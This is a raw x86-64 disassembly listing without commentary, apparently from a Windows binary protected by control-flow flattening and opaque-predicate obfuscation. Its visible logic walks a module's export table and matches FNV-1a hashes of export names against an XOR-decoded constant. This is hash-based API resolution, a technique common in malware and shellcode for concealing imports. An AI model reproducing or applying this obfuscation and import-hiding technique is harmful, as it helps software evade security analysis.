mov eax, dword [rbp + 0xa34]
cdqe
mov qword [rbp + 0xa38], rax
mov dword [rbp + 0xa1c], 0x9ad2e03e
jmp 0x14000a16e
mov rcx, qword [rbp + 0xa28]
mov rdx, qword [rbp + 0xa38]
mov rax, qword [rbp + 0x3a0]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rax], rcx
mov rcx, qword [rbp + 0x398]
mov rax, qword [rbp + 0x3a0]
mov eax, dword [rax]
add rcx, rax
mov rax, qword [rbp + 0x3a8]
mov qword [rax + 0x10], rcx
mov rax, qword [rbp + 0x3a0]
mov ecx, dword [rax + 4]
mov rax, qword [rbp + 0x3a8]
mov dword [rax], ecx
mov dword [rbp + 0x38c], 0x2b617b65
jmp 0x140009e84
mov rax, qword [rbp + 0x30]
mov rcx, qword [rbp + 0x3a8]
mov rsp, rax
mov rax, rsp
mov qword [rbp + 0x10], rax
mov ecx, dword [0x1400952bc]
mov eax, dword [0x1400952b8]
mov edx, ecx
add edx, 0x415b6d80
sub edx, 1
sub edx, 0x415b6d80
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [rbp + 0x3de], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [rbp + 0x3df], al
mov dword [rbp + 0x3d8], 0xf08d4e46
mov eax, dword [rbp + 0x3d8]
mov dword [rbp + 0xc], eax
sub eax, 0xd83041ed
je 0x14000a45e
jmp 0x14000a295
mov eax, dword [rbp + 0xc]
sub eax, 0xdc14201c
je 0x14000a35a
jmp 0x14000a2a8
mov eax, dword [rbp + 0xc]
sub eax, 0xf08d4e46
je 0x14000a2f9
jmp 0x14000a2bb
mov eax, dword [rbp + 0xc]
sub eax, 0x115cad6b
je 0x14000a415
jmp 0x14000a2ce
mov eax, dword [rbp + 0xc]
sub eax, 0x5b1e92bf
je 0x14000a435
jmp 0x14000a2e1
mov eax, dword [rbp + 0xc]
sub eax, 0x7bcd94bf
je 0x14000a406
jmp 0x14000a2f4
jmp 0x14000a459
mov r11b, byte [rbp + 0x3de]
mov r10b, byte [rbp + 0x3df]
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5b1e92bf
mov ecx, 0xdc14201c
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x3d8], eax
jmp 0x14000a459
mov eax, 0x10
call fcn.14005d3a0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x3e0], rax
mov rax, qword [rbp + 0x3e0]
lea rcx, [rbp + 0xb08]
mov qword [rax], rcx
mov ecx, dword [0x1400952bc]
mov eax, dword [0x1400952b8]
mov edx, ecx
sub edx, 0xd6d860d7
sub edx, 1
add edx, 0xd6d860d7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5b1e92bf
mov ecx, 0x7bcd94bf
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x3d8], eax
jmp 0x14000a459
mov dword [rbp + 0x3d8], 0x115cad6b
jmp 0x14000a459
mov rax, qword [rbp + 0x3e0]
mov rax, qword [rax]
mov qword [rbp + 0x3e8], rax
mov dword [rbp + 0x3d8], 0xd83041ed
jmp 0x14000a459
mov eax, 0x10
call fcn.14005d3a0
sub rsp, rax
mov rax, rsp
lea rcx, [rbp + 0xb08]
mov qword [rax], rcx
mov dword [rbp + 0x3d8], 0xdc14201c
jmp 0x14000a27c
mov rcx, qword [rbp + 0x10]
mov rax, qword [rbp + 0x3e8]
mov rax, qword [rax + 0x10]
mov rdx, qword [rbp + 0x3e8]
cmp rax, qword [rdx + 8]
setne al
mov rsp, rcx
and al, 1
mov byte [rbp + 0x2a7], al
mov dword [rbp + 0x284], 0x13218490
jmp 0x14000d09e
mov eax, dword [0x1400952e4]
mov ecx, dword [0x1400952e0]
mov edx, eax
sub edx, 0x2725aa8d
sub edx, 1
add edx, 0x2725aa8d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x512ba151
mov ecx, 0x7f7a4d1e
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x284], eax
jmp 0x14000d09e
mov eax, dword [0x1400952e4]
mov ecx, dword [0x1400952e0]
xor r8d, r8d
sub r8d, 1
mov edx, eax
add edx, r8d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x512ba151
mov ecx, 0x51bd58ea
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x284], eax
jmp 0x14000d09e
mov dl, byte [rbp + 0x2a7]
mov eax, 0x625a7d38
mov ecx, 0xe3229600
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x284], eax
jmp 0x14000d09e
lea rax, [rbp + 0xb08]
mov qword [rbp + 0x410], rax
mov rax, qword [rbp + 0x410]
add rax, 0x10
mov qword [rbp + 0x418], rax
mov dword [rbp + 0x40c], 0xb83f5c47
mov eax, dword [rbp + 0x40c]
mov dword [rbp + 8], eax
sub eax, 0x8361b71c
je 0x14000a5d0
jmp 0x14000a598
mov eax, dword [rbp + 8]
sub eax, 0xb83f5c47
je 0x14000a5b0
jmp 0x14000a5ab
jmp 0x14000a5cb
mov rax, qword [rbp + 0x418]
mov rax, qword [rax]
mov qword [rbp + 0x420], rax
mov dword [rbp + 0x40c], 0x8361b71c
jmp 0x14000a57f
mov rax, qword [rbp + 0x420]
mov eax, dword [rax + 0x18]
mov dword [rbp + 0x2a8], eax
mov dword [rbp + 0x284], 0xfc150a5e
jmp 0x14000d09e
mov rax, qword [rbp + 0x290]
mov ecx, dword [rbp + 0x2a8]
mov dword [rax], ecx
mov dword [rbp + 0x284], 0xf4af3fa9
jmp 0x14000d09e
mov eax, dword [0x1400952e4]
mov ecx, dword [0x1400952e0]
mov edx, eax
sub edx, 0x673e59ad
sub edx, 1
add edx, 0x673e59ad
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x44879a6a
mov ecx, 0x6fa8f4a
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x284], eax
jmp 0x14000d09e
mov ecx, dword [0x1400952e4]
mov eax, dword [0x1400952e0]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x44879a6a
mov ecx, 0x2bbd5ba8
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x284], eax
jmp 0x14000d09e
mov dword [rbp + 0x284], 0xe1905ae1
jmp 0x14000d09e
mov ecx, dword [0x1400952e4]
mov eax, dword [0x1400952e0]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe242ec44
mov ecx, 0x854da01f
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x284], eax
jmp 0x14000d09e
mov rax, qword [rbp + 0x290]
mov eax, dword [rax]
mov dword [rbp + 0x2ac], eax
mov ecx, dword [0x1400952e4]
mov eax, dword [0x1400952e0]
mov edx, ecx
add edx, 0x4fdd45a8
sub edx, 1
sub edx, 0x4fdd45a8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe242ec44
mov ecx, 0x1ff79b96
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x284], eax
jmp 0x14000d09e
mov dword [rbp + 0x284], 0x242e32b5
jmp 0x14000d09e
mov ecx, dword [rbp + 0x2ac]
xor eax, eax
sub eax, 0xffffffff
sub ecx, eax
mov rax, qword [rbp + 0x290]
mov dword [rax], ecx
mov eax, dword [rbp + 0x2ac]
cmp eax, 0
setne al
and al, 1
mov byte [rbp + 0x2b3], al
mov dword [rbp + 0x284], 0x41d85520
jmp 0x14000d09e
mov dl, byte [rbp + 0x2b3]
mov eax, 0x33e3b6d9
mov ecx, 0xe3773693
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x284], eax
jmp 0x14000d09e
mov eax, dword [0x1400952e4]
mov ecx, dword [0x1400952e0]
xor r8d, r8d
sub r8d, 1
mov edx, eax
add edx, r8d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x84a00130
mov ecx, 0x4d73e031
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x284], eax
jmp 0x14000d09e
mov dword [rbp + 0x49c], 0x9cebfb3
mov eax, dword [rbp + 0x49c]
mov dword [rbp + 4], eax
sub eax, 0xa660b58f
je 0x14000aa26
jmp 0x14000a8d8
mov eax, dword [rbp + 4]
sub eax, 0xf8bdbf0a
je 0x14000aa46
jmp 0x14000a8eb
mov eax, dword [rbp + 4]
sub eax, 0x9cebfb3
je 0x14000a929
jmp 0x14000a8fe
mov eax, dword [rbp + 4]
sub eax, 0x1242f988
je 0x14000a976
jmp 0x14000a911
mov eax, dword [rbp + 4]
sub eax, 0x37774ae3
je 0x14000aa17
jmp 0x14000a924
jmp 0x14000aa41
mov eax, dword [0x1400952b4]
mov ecx, dword [0x1400952b0]
xor r8d, r8d
sub r8d, 1
mov edx, eax
add edx, r8d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa660b58f
mov ecx, 0x1242f988
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x49c], eax
jmp 0x14000aa41
movabs rax, 0x7269cf05c1b38541
mov qword [rbp + 0x4a0], rax
mov rax, qword [rbp + 0x4a0]
shr rax, 0x20
mov dword [rbp + 0x4a8], eax
mov ecx, dword [0x1400952b4]
mov eax, dword [0x1400952b0]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa660b58f
mov ecx, 0x37774ae3
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x49c], eax
jmp 0x14000aa41
mov dword [rbp + 0x49c], 0xf8bdbf0a
jmp 0x14000aa41
movabs rax, 0x7269cf05c1b38541
mov qword [rbp + 0x4a0], rax
mov dword [rbp + 0x49c], 0x1242f988
jmp 0x14000a8bf
mov eax, dword [rbp + 0x4a8]
mov dword [rbp + 0x2b4], eax
mov rax, qword [rbp + 0x290]
mov eax, dword [rax]
mov dword [rbp + 0x4ec], eax
mov dword [rbp + 0x4dc], 0xa0c8cb78
mov eax, dword [rbp + 0x4dc]
mov dword [rbp], eax
sub eax, 0xa0c8cb78
je 0x14000aa9c
jmp 0x14000aa84
mov eax, dword [rbp]
sub eax, 0xf71b7200
je 0x14000aac7
jmp 0x14000aa97
jmp 0x14000aac2
lea rax, [rbp + 0xb08]
mov qword [rbp + 0x4e0], rax
mov rax, qword [rbp + 0x4e0]
mov qword [rbp + 0x4f0], rax
mov dword [rbp + 0x4dc], 0xf71b7200
jmp 0x14000aa6b
mov rax, qword [rbp + 0x4f0]
mov rax, qword [rax + 8]
mov rcx, qword [rbp + 0x4f0]
mov rcx, qword [rcx + 8]
mov rdx, qword [rbp + 0x4f0]
mov rdx, qword [rdx + 0x10]
mov edx, dword [rdx + 0x20]
add rcx, rdx
mov edx, dword [rbp + 0x4ec]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rbp + 0x2b8], rax
mov eax, dword [0x1400952e4]
mov ecx, dword [0x1400952e0]
mov edx, eax
sub edx, 0x6525c779
sub edx, 1
add edx, 0x6525c779
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x84a00130
mov ecx, 0xfd9f4854
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x284], eax
jmp 0x14000d09e
mov dword [rbp + 0x284], 0xe392403d
jmp 0x14000d09e
mov ecx, dword [rbp + 0x2b4]
mov rax, qword [rbp + 0x2b8]
mov dword [rbp + 0x460], ecx
mov qword [rbp + 0x458], rax
mov dword [rbp + 0x44c], 0xfb5ce38d
mov eax, dword [rbp + 0x44c]
mov dword [rbp - 4], eax
sub eax, 0x85129a04
je 0x14000adde
jmp 0x14000ab9f
mov eax, dword [rbp - 4]
sub eax, 0xc203342f
je 0x14000b01e
jmp 0x14000abb2
mov eax, dword [rbp - 4]
sub eax, 0xc2b0e732
je 0x14000aeef
jmp 0x14000abc5
mov eax, dword [rbp - 4]
sub eax, 0xc7e49cae
je 0x14000aed4
jmp 0x14000abd8
mov eax, dword [rbp - 4]
sub eax, 0xd3c4115f
je 0x14000b129
jmp 0x14000abeb
mov eax, dword [rbp - 4]
sub eax, 0xd46fab84
je 0x14000af73
jmp 0x14000abfe
mov eax, dword [rbp - 4]
sub eax, 0xd5574b60
je 0x14000ad11
jmp 0x14000ac11
mov eax, dword [rbp - 4]
sub eax, 0xd99af3af
je 0x14000aded
jmp 0x14000ac24
mov eax, dword [rbp - 4]
sub eax, 0xde590d1c
je 0x14000b0d9
jmp 0x14000ac37
mov eax, dword [rbp - 4]
sub eax, 0xe60a5252
je 0x14000aeb3
jmp 0x14000ac4a
mov eax, dword [rbp - 4]
sub eax, 0xf48c5fbc
je 0x14000aea4
jmp 0x14000ac5d
mov eax, dword [rbp - 4]
sub eax, 0xfb5ce38d
je 0x14000ace7
jmp 0x14000ac70
mov eax, dword [rbp - 4]
sub eax, 0x1b1de324
je 0x14000b11a
jmp 0x14000ac83
mov eax, dword [rbp - 4]
sub eax, 0x308b75fc
je 0x14000b00f
jmp 0x14000ac96
mov eax, dword [rbp - 4]
sub eax, 0x507cced0
je 0x14000ae3f
jmp 0x14000aca9
mov eax, dword [rbp - 4]
sub eax, 0x52a41137
je 0x14000b105
jmp 0x14000acbc
mov eax, dword [rbp - 4]
sub eax, 0x7e4af9f3
je 0x14000ad63
jmp 0x14000accf
mov eax, dword [rbp - 4]
sub eax, 0x7f164d4f
je 0x14000ad02
jmp 0x14000ace2
jmp 0x14000b124
mov eax, dword [rbp + 0x460]
mov dword [rbp + 0x454], eax
mov dword [rbp + 0x44c], 0x7f164d4f
jmp 0x14000b124
mov dword [rbp + 0x44c], 0xd5574b60
jmp 0x14000b124
mov eax, dword [0x1400952ac]
mov ecx, dword [0x1400952a8]
mov edx, eax
sub edx, 0x916e5fa9
sub edx, 1
add edx, 0x916e5fa9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xde590d1c
mov ecx, 0x7e4af9f3
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x44c], eax
jmp 0x14000b124
mov rax, qword [rbp + 0x458]
mov rcx, rax
add rcx, 1
mov qword [rbp + 0x458], rcx
mov al, byte [rax]
mov byte [rbp + 0x453], al
mov al, byte [rbp + 0x453]
mov byte [rbp + 0x466], al
mov eax, dword [0x1400952ac]
mov ecx, dword [0x1400952a8]
mov edx, eax
add edx, 0xda0c8656
sub edx, 1
sub edx, 0xda0c8656
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xde590d1c
mov ecx, 0x85129a04
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x44c], eax
jmp 0x14000b124
mov dword [rbp + 0x44c], 0xd99af3af
jmp 0x14000b124
mov eax, dword [0x1400952ac]
mov ecx, dword [0x1400952a8]
mov edx, eax
add edx, 0x76d5af21
sub edx, 1
sub edx, 0x76d5af21
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x52a41137
mov ecx, 0x507cced0
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x44c], eax
jmp 0x14000b124
mov al, byte [rbp + 0x466]
cmp al, 0
setne al
and al, 1
mov byte [rbp + 0x467], al
mov eax, dword [0x1400952ac]
mov ecx, dword [0x1400952a8]
mov edx, eax
sub edx, 0xdda2655
sub edx, 1
add edx, 0xdda2655
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x52a41137
mov ecx, 0xf48c5fbc
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x44c], eax
jmp 0x14000b124
mov dword [rbp + 0x44c], 0xe60a5252
jmp 0x14000b124
mov dl, byte [rbp + 0x467]
mov eax, 0xc7e49cae
mov ecx, 0xc2b0e732
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x44c], eax
jmp 0x14000b124
mov eax, dword [rbp + 0x454]
mov dword [rbp + 0x468], eax
mov dword [rbp + 0x44c], 0xd3c4115f
jmp 0x14000b124
mov ecx, dword [0x1400952ac]
mov eax, dword [0x1400952a8]
mov edx, ecx
add edx, 0xb254ecc3
sub edx, 1
sub edx, 0xb254ecc3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1b1de324
mov ecx, 0xd46fab84
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x44c], eax
jmp 0x14000b124
mov al, byte [rbp + 0x453]
mov byte [rbp + 0x46f], al
mov eax, dword [rbp + 0x454]
mov dword [rbp + 0x470], eax
mov ecx, dword [0x1400952ac]
mov eax, dword [0x1400952a8]
mov edx, ecx
add edx, 0x5e823650
sub edx, 1
sub edx, 0x5e823650
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1b1de324
mov ecx, 0x308b75fc
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x44c], eax
jmp 0x14000b124
mov dword [rbp + 0x44c], 0xc203342f
jmp 0x14000b124
mov al, byte [rbp + 0x46f]
mov ecx, dword [rbp + 0x470]
mov dword [rbp - 8], ecx
mov byte [rbp + 0xa63], al
mov dword [rbp + 0xa58], 0x32ddef5c
mov eax, dword [rbp + 0xa58]
mov dword [rbp - 0xc], eax
sub eax, 0xadbd9f97
je 0x14000b09f
jmp 0x14000b056
mov eax, dword [rbp - 0xc]
sub eax, 0x32ddef5c
je 0x14000b06e
jmp 0x14000b069
jmp 0x14000b09a
mov eax, dword [rbp - 8]
mov dword [rbp + 0xa5c], eax
mov eax, dword [rbp + 0xa5c]
mov dword [rbp + 0xa64], eax
movsx eax, byte [rbp + 0xa63]
mov dword [rbp + 0xa68], eax
mov dword [rbp + 0xa58], 0xadbd9f97
jmp 0x14000b03d
mov ecx, dword [rbp + 0xa64]
mov edx, dword [rbp + 0xa68]
mov r8d, ecx
xor r8d, 0xffffffff
mov eax, edx
and eax, r8d
xor edx, 0xffffffff
and ecx, edx
or eax, ecx
imul eax, eax, 0x1000193
mov dword [rbp + 0x454], eax
mov dword [rbp + 0x44c], 0xd5574b60
jmp 0x14000b124
mov rax, qword [rbp + 0x458]
mov rcx, rax
add rcx, 1
mov qword [rbp + 0x458], rcx
mov al, byte [rax]
mov byte [rbp + 0x453], al
mov dword [rbp + 0x44c], 0x7e4af9f3
jmp 0x14000b124
mov al, byte [rbp + 0x466]
mov dword [rbp + 0x44c], 0x507cced0
jmp 0x14000b124
mov dword [rbp + 0x44c], 0xd46fab84
jmp 0x14000ab86
mov eax, dword [rbp + 0x468]
mov dword [rbp + 0x2c4], eax
mov rax, rsp
mov qword [rbp - 0x18], rax
mov ecx, dword [0x1400952a4]
mov eax, dword [0x1400952a0]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [rbp + 0x55e], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [rbp + 0x55f], al
mov dword [rbp + 0x558], 0xc807c962
mov eax, dword [rbp + 0x558]
mov dword [rbp - 0x1c], eax
sub eax, 0x969c0091
je 0x14000b342
jmp 0x14000b19a
mov eax, dword [rbp - 0x1c]
sub eax, 0x9adc1397
je 0x14000b333
jmp 0x14000b1ad
mov eax, dword [rbp - 0x1c]
sub eax, 0xaceca18c
je 0x14000b298
jmp 0x14000b1c0
mov eax, dword [rbp - 0x1c]
sub eax, 0xc319dc12
je 0x14000b43c
jmp 0x14000b1d3
mov eax, dword [rbp - 0x1c]
sub eax, 0xc807c962
je 0x14000b237
jmp 0x14000b1e6
mov eax, dword [rbp - 0x1c]
sub eax, 0xce59fbbd
je 0x14000b48e
jmp 0x14000b1f9
mov eax, dword [rbp - 0x1c]
sub eax, 0xd7569686
je 0x14000b3b8
jmp 0x14000b20c
mov eax, dword [rbp - 0x1c]
sub eax, 0x63f50657
je 0x14000b4ac
jmp 0x14000b21f
mov eax, dword [rbp - 0x1c]
sub eax, 0x7ee41f43
je 0x14000b49d
jmp 0x14000b232
jmp 0x14000b4a7
mov r11b, byte [rbp + 0x55e]
mov r10b, byte [rbp + 0x55f]
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xce59fbbd
mov ecx, 0xaceca18c
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x558], eax
jmp 0x14000b4a7
mov eax, 0x10
call fcn.14005d3a0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x560], rax
mov ecx, dword [0x1400952a4]
mov eax, dword [0x1400952a0]
mov edx, ecx
sub edx, 0xec440704
sub edx, 1
add edx, 0xec440704
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xce59fbbd
mov ecx, 0x9adc1397
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x558], eax
jmp 0x14000b4a7
mov dword [rbp + 0x558], 0x969c0091
jmp 0x14000b4a7
mov rax, qword [rbp + 0x560]
movabs rcx, 0x7269cf05c1b38541
mov qword [rax], rcx
mov rax, qword [rbp + 0x560]
mov rax, qword [rax]
xor rax, 0xffffffffffffffff
mov rdx, 0xffffffffffffffff
movabs rcx, 0xffffffff
xor rdx, rcx
mov rcx, 0xffffffffffffffff
movabs r8, 0x20d89e6d98b33dc8
xor rcx, r8
or rax, rdx
movabs rdx, 0x20d89e6d98b33dc8
or rcx, rdx
xor rax, 0xffffffffffffffff
and rax, rcx
mov dword [rbp + 0x56c], eax
mov dword [rbp + 0x558], 0xd7569686
jmp 0x14000b4a7
mov ecx, dword [0x1400952a4]
mov eax, dword [0x1400952a0]
mov edx, ecx
sub edx, 0x670a4794
sub edx, 1
add edx, 0x670a4794
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7ee41f43
mov ecx, 0xc319dc12
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x558], eax
jmp 0x14000b4a7
mov eax, dword [0x1400952a4]
mov ecx, dword [0x1400952a0]
mov edx, eax
sub edx, 0xdd8e149b
sub edx, 1
add edx, 0xdd8e149b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7ee41f43
mov ecx, 0x63f50657
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x558], eax
jmp 0x14000b4a7
mov dword [rbp + 0x558], 0xaceca18c
jmp 0x14000b4a7
mov dword [rbp + 0x558], 0xc319dc12
jmp 0x14000b181
mov rcx, qword [rbp - 0x18]
mov eax, dword [rbp + 0x56c]
mov rsp, rcx
mov dword [rbp + 0x2c8], eax
mov dword [rbp + 0x284], 0xbe23be7b
jmp 0x14000d09e
mov ecx, dword [0x1400952e4]
mov eax, dword [0x1400952e0]
mov edx, ecx
add edx, 0xb7fb56bb
sub edx, 1
sub edx, 0xb7fb56bb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x53eddbc3
mov ecx, 0x25bdbd6b
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x284], eax
jmp 0x14000d09e
mov eax, dword [rbp + 0x2c4]
mov ecx, dword [rbp + 0x2c8]
cmp eax, ecx
sete al
and al, 1
mov byte [rbp + 0x2cf], al
mov eax, dword [0x1400952e4]
mov ecx, dword [0x1400952e0]
mov edx, eax
add edx, 0xa1bd443d
sub edx, 1
sub edx, 0xa1bd443d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x53eddbc3
mov ecx, 0xd9e21ca1
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x284], eax
jmp 0x14000d09e
mov dl, byte [rbp + 0x2cf]
mov eax, 0xc4cfb1ac
mov ecx, 0x8783e275
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x284], eax
jmp 0x14000d09e
mov ecx, dword [0x1400952e4]
mov eax, dword [0x1400952e0]
mov edx, ecx
add edx, 0x7c923510
sub edx, 1
sub edx, 0x7c923510
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6ef1cf86
mov ecx, 0xe713f06
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x284], eax
jmp 0x14000d09e
mov rax, qword [rbp + 0x290]
mov eax, dword [rax]
mov dword [rbp - 0x2c], eax
mov rax, rsp
mov qword [rbp - 0x28], rax
